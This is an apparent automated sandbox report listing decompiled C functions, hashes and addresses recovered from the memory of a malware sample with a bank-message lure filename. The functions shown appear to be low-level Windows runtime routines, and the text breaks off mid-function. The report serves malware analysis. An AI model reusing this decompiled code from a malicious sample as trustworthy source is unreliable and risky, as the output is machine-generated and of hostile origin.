                                                                        • Instruction ID: bc20b5bbdcf1f28e0e36e63a8310b8f9ad36212761e9c1bcff897d1ca4ac1e69
                                                                        • Opcode Fuzzy Hash: 6737137437b2f8d8a01990249c82688e924eb757f2bf6226d4c3d4265624abc8
                                                                        • Instruction Fuzzy Hash: A631D1B1A21746DFEF25DB6CD048BAEBBB1BB49338F15819DC60467251C370A8D0CB51
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A1DB5 Relevance: .1, Instructions: 87COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 60%
                                                                        			E012A1DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E0129F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L01294620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E0129F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}












                                                                        0x012a1dc2
                                                                        0x012a1dc5
                                                                        0x012a1dc7
                                                                        0x012a1dcc
                                                                        0x012a1dce
                                                                        0x012a1dd6
                                                                        0x012a1ddf
                                                                        0x012a1de0
                                                                        0x012a1de1
                                                                        0x012a1de5
                                                                        0x012a1de8
                                                                        0x012a1def
                                                                        0x012a1df0
                                                                        0x012a1df6
                                                                        0x012a1df7
                                                                        0x012a1dfe
                                                                        0x012a1e1a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012a1e0b
                                                                        0x012a1e12
                                                                        0x012a1e12
                                                                        0x012a1e00
                                                                        0x012a1e00
                                                                        0x012a1e05
                                                                        0x012a1e1e
                                                                        0x012a1e23
                                                                        0x012e570f
                                                                        0x012e5713
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e5719
                                                                        0x012e5719
                                                                        0x012a1e2c
                                                                        0x012a1e2d
                                                                        0x012a1e2e
                                                                        0x012a1e2f
                                                                        0x012a1e31
                                                                        0x012a1e32
                                                                        0x012a1e35
                                                                        0x012a1e3d
                                                                        0x012e5723
                                                                        0x012e573d
                                                                        0x012e573d
                                                                        0x00000000
                                                                        0x012e5723
                                                                        0x012a1e49
                                                                        0x012a1e4e
                                                                        0x012a1e4e
                                                                        0x012a1e09
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
                                                                        • Instruction ID: 96cbf08580574753f5275342605bcdaf3f6347748e2cabd077d5dce4ae78fdc7
                                                                        • Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
                                                                        • Instruction Fuzzy Hash: F921DE7266010AEFD724CF99CE80EABBBBDEF85760F544055EB01D7210D230AE21CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F6C0A Relevance: .1, Instructions: 79COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 77%
                                                                        			E012F6C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E01297D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x1367b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L01294620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E012BF3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E01297D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E012B9AE0();
						_t23 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}












                                                                        0x012f6c0a
                                                                        0x012f6c0f
                                                                        0x012f6c10
                                                                        0x012f6c13
                                                                        0x012f6c15
                                                                        0x012f6c19
                                                                        0x012f6c1c
                                                                        0x012f6c21
                                                                        0x012f6c28
                                                                        0x012f6c3a
                                                                        0x012f6c2a
                                                                        0x012f6c33
                                                                        0x012f6c33
                                                                        0x012f6c3f
                                                                        0x012f6c48
                                                                        0x012f6c4d
                                                                        0x012f6c60
                                                                        0x012f6c65
                                                                        0x012f6c69
                                                                        0x012f6c73
                                                                        0x012f6c79
                                                                        0x012f6c7f
                                                                        0x012f6c86
                                                                        0x012f6c90
                                                                        0x012f6c94
                                                                        0x012f6ca6
                                                                        0x012f6cb2
                                                                        0x012f6cbd
                                                                        0x012f6cbd
                                                                        0x012f6cc3
                                                                        0x012f6cc7
                                                                        0x012f6ccb
                                                                        0x012f6cd0
                                                                        0x012f6cd1
                                                                        0x012f6ce2
                                                                        0x012f6ce2
                                                                        0x012f6c69
                                                                        0x012f6ced

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 9c917649ccf7f4186e3e0e18f5023617c95188f1b2f7b84717aacc265f6a3c52
                                                                        • Instruction ID: 9543bcbd9dbaa9ffb6a8743796969ea4e02dba1dc34deb15bf2ccf4b4f4c8b10
                                                                        • Opcode Fuzzy Hash: 9c917649ccf7f4186e3e0e18f5023617c95188f1b2f7b84717aacc265f6a3c52
                                                                        • Instruction Fuzzy Hash: 8D21DBB1A20645AFDB11DB6CD884F6AB7B8FF08340F040069FA04C7790D634ED00CBA4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B90AF Relevance: .1, Instructions: 76COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 82%
                                                                        			E012B90AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E012CD4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E012AE5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L01294620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E012BF3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E012AA2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}


























                                                                        0x012b90af
                                                                        0x012b90b8
                                                                        0x012b90bb
                                                                        0x012b90bf
                                                                        0x012b90c2
                                                                        0x012b90c2
                                                                        0x012b90c8
                                                                        0x012b90cb
                                                                        0x012b90cd
                                                                        0x012f14d7
                                                                        0x012f14eb
                                                                        0x012f14eb
                                                                        0x00000000
                                                                        0x012f14eb
                                                                        0x012f14db
                                                                        0x012f14e6
                                                                        0x00000000
                                                                        0x012f14f2
                                                                        0x012f14e8
                                                                        0x00000000
                                                                        0x012f14e8
                                                                        0x012b90d8
                                                                        0x012b90da
                                                                        0x012b90dd
                                                                        0x012b90e5
                                                                        0x00000000
                                                                        0x012b9139
                                                                        0x012b90fa
                                                                        0x012b90fe
                                                                        0x012b9142
                                                                        0x00000000
                                                                        0x012b9142
                                                                        0x012b9104
                                                                        0x012b9107
                                                                        0x012b910b
                                                                        0x012b9110
                                                                        0x012b9118
                                                                        0x012b9147
                                                                        0x012b9148
                                                                        0x012b914f
                                                                        0x012b9150
                                                                        0x012b9151
                                                                        0x012b9152
                                                                        0x012b9156
                                                                        0x012b915d
                                                                        0x012b9160
                                                                        0x012b9168
                                                                        0x012b916c
                                                                        0x012b91bc
                                                                        0x012b91be
                                                                        0x00000000
                                                                        0x012b91be
                                                                        0x012b916e
                                                                        0x012b9173
                                                                        0x012b9176
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012b917c
                                                                        0x012b9180
                                                                        0x012b91b5
                                                                        0x00000000
                                                                        0x012b91b5
                                                                        0x012b9182
                                                                        0x012b9185
                                                                        0x012b9189
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012b918e
                                                                        0x012b9190
                                                                        0x012b9198
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012b91a0
                                                                        0x00000000
                                                                        0x012b91ad
                                                                        0x012b91ad
                                                                        0x012b91b0
                                                                        0x012b91b1
                                                                        0x00000000
                                                                        0x012b9185
                                                                        0x012b911a
                                                                        0x012b911c
                                                                        0x012b911f
                                                                        0x012b9125
                                                                        0x012b9127
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
                                                                        • Instruction ID: c54b6a7acb8930a4b4ecef0f48b742b17f30091992a464ff388c1d48fb4d6a70
                                                                        • Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
                                                                        • Instruction Fuzzy Hash: BE217FB1A20205EFDB21DF59C984AAAFBF8EB54354F14887EEB45A7200D270A950CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A3B7A Relevance: .1, Instructions: 75COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 59%
                                                                        			E012A3B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x13684c4; // 0x0
				_v12 = 1;
				_v8 =  *0x13684c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x13684c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E012BAA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E012BFA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x13684c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x13684c4; // 0x0
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}












                                                                        0x012a3b89
                                                                        0x012a3b96
                                                                        0x012a3ba1
                                                                        0x012a3bab
                                                                        0x012a3bb5
                                                                        0x012a3bb9
                                                                        0x012e6298
                                                                        0x012a3bbf
                                                                        0x012a3bc2
                                                                        0x012a3bc3
                                                                        0x012a3bc9
                                                                        0x012a3bca
                                                                        0x012a3bcc
                                                                        0x012a3bcd
                                                                        0x012a3bd4
                                                                        0x012a3bd6
                                                                        0x012a3bdb
                                                                        0x012a3bea
                                                                        0x012a3bf7
                                                                        0x012a3bfb
                                                                        0x012a3bff
                                                                        0x012a3c09
                                                                        0x012a3c0a
                                                                        0x012a3c0b
                                                                        0x012a3c0f
                                                                        0x012a3c14
                                                                        0x012a3c18
                                                                        0x012a3c18
                                                                        0x012a3bfb
                                                                        0x012a3c1b
                                                                        0x012a3c30
                                                                        0x012a3c30
                                                                        0x012a3c3d

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 8b053130fdb9bc4395b4d67d0e616a0713c780be124716e4a229f87971052b25
                                                                        • Instruction ID: 90f1c70d36325c70ee11ab233c0c72ac6a7a89f3a507c71e7eb3dafa791fc4aa
                                                                        • Opcode Fuzzy Hash: 8b053130fdb9bc4395b4d67d0e616a0713c780be124716e4a229f87971052b25
                                                                        • Instruction Fuzzy Hash: 8E219FB2A10209AFCB15DF58CD81B6ABBBDFB44748F1540A9EA08AB251D371ED05CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F6CF0 Relevance: .1, Instructions: 74COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 80%
                                                                        			E012F6CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E01297D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E01297D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x1255c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E012AF6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E012AF6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E012F7016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L01292400( &_v52);
								}
								_t21 = L01292400( &_v28);
							}
						}
					}
				}
				return _t21;
			}



















                                                                        0x012f6cfb
                                                                        0x012f6d00
                                                                        0x012f6d02
                                                                        0x012f6d06
                                                                        0x012f6d0a
                                                                        0x012f6d0e
                                                                        0x012f6d19
                                                                        0x012f6d2b
                                                                        0x012f6d1b
                                                                        0x012f6d24
                                                                        0x012f6d24
                                                                        0x012f6d33
                                                                        0x012f6d39
                                                                        0x012f6d46
                                                                        0x012f6d4f
                                                                        0x012f6d61
                                                                        0x012f6d51
                                                                        0x012f6d5a
                                                                        0x012f6d5a
                                                                        0x012f6d69
                                                                        0x012f6d6b
                                                                        0x012f6d6d
                                                                        0x012f6d6f
                                                                        0x012f6d6f
                                                                        0x012f6d74
                                                                        0x012f6d79
                                                                        0x012f6d7a
                                                                        0x012f6d7f
                                                                        0x012f6d82
                                                                        0x012f6d88
                                                                        0x012f6d89
                                                                        0x012f6d90
                                                                        0x012f6d94
                                                                        0x012f6da7
                                                                        0x012f6db1
                                                                        0x012f6db1
                                                                        0x012f6dbb
                                                                        0x012f6dbb
                                                                        0x012f6d90
                                                                        0x012f6d69
                                                                        0x012f6d46
                                                                        0x012f6dc6

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d9151e64ab0114fbc644bbca1fe8fe26963a4ca45a046541b7dfed28190f6a38
                                                                        • Instruction ID: b7ef655649926b1a76d1dca8fa0e2a9b6d2b327a51da7b956cd6d59297de96ca
                                                                        • Opcode Fuzzy Hash: d9151e64ab0114fbc644bbca1fe8fe26963a4ca45a046541b7dfed28190f6a38
                                                                        • Instruction Fuzzy Hash: 9A21C2725242469FD711DF2DC944B6BFBECEF91640F04056AFB40C7291E734D948CAA2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0134070D Relevance: .1, Instructions: 72COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 67%
                                                                        			E0134070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E013407DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E0133AFDE( &_v8,  &_v12);
					E01341293(_t38, _v28, _t60);
					if(E01297D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E013314FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}













                                                                        0x0134071b
                                                                        0x01340724
                                                                        0x01340734
                                                                        0x01340738
                                                                        0x0134074b
                                                                        0x0134074b
                                                                        0x01340753
                                                                        0x01340753
                                                                        0x01340759
                                                                        0x0134075d
                                                                        0x01340774
                                                                        0x01340779
                                                                        0x0134077d
                                                                        0x01340789
                                                                        0x01340795
                                                                        0x013407a7
                                                                        0x01340797
                                                                        0x013407a0
                                                                        0x013407a0
                                                                        0x013407af
                                                                        0x013407c4
                                                                        0x013407cd
                                                                        0x013407cd
                                                                        0x013407af
                                                                        0x013407dc

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
                                                                        • Instruction ID: a974d14cac37fc2bc9243ef5712bb8f3cdc5281fefca9ea1486652604a6d169a
                                                                        • Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
                                                                        • Instruction Fuzzy Hash: F021F2363042049FE709DF1CC880AAABFE5EFD4354F048669FA959B385D730E909CB92
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F7794 Relevance: .1, Instructions: 70COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 82%
                                                                        			E012F7794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x1367b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E012BF3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E01297D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E012B9AE0();
					_t24 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}













                                                                        0x012f7799
                                                                        0x012f779a
                                                                        0x012f779b
                                                                        0x012f77a3
                                                                        0x012f77ab
                                                                        0x012f77ae
                                                                        0x012f77b1
                                                                        0x012f77b1
                                                                        0x012f77bf
                                                                        0x012f77c4
                                                                        0x012f77c8
                                                                        0x012f77ce
                                                                        0x012f77d4
                                                                        0x012f77e0
                                                                        0x012f77e0
                                                                        0x012f77d6
                                                                        0x012f77d6
                                                                        0x012f77de
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012f77de
                                                                        0x012f77e5
                                                                        0x012f77f0
                                                                        0x012f77f3
                                                                        0x012f77f6
                                                                        0x012f77fd
                                                                        0x012f7800
                                                                        0x012f780c
                                                                        0x012f7818
                                                                        0x012f782b
                                                                        0x012f781a
                                                                        0x012f7823
                                                                        0x012f7823
                                                                        0x012f7830
                                                                        0x012f7831
                                                                        0x012f7838
                                                                        0x012f783d
                                                                        0x012f783e
                                                                        0x012f784f
                                                                        0x012f784f
                                                                        0x012f785a

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 2417d826a50bd85a014f11b6935d1b587e065dd4d951bf901709d35ac1c01d29
                                                                        • Instruction ID: 0d8a5483990e0ac400b946cbfdf6be86e1def0a8f038d95ec8438a122666ad34
                                                                        • Opcode Fuzzy Hash: 2417d826a50bd85a014f11b6935d1b587e065dd4d951bf901709d35ac1c01d29
                                                                        • Instruction Fuzzy Hash: CC21A172520645AFCB25DF69DC90EABBBA9EF48340F10456DF60AD7750D634E900CBA4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129AE73 Relevance: .1, Instructions: 70COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 96%
                                                                        			E0129AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E01297D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
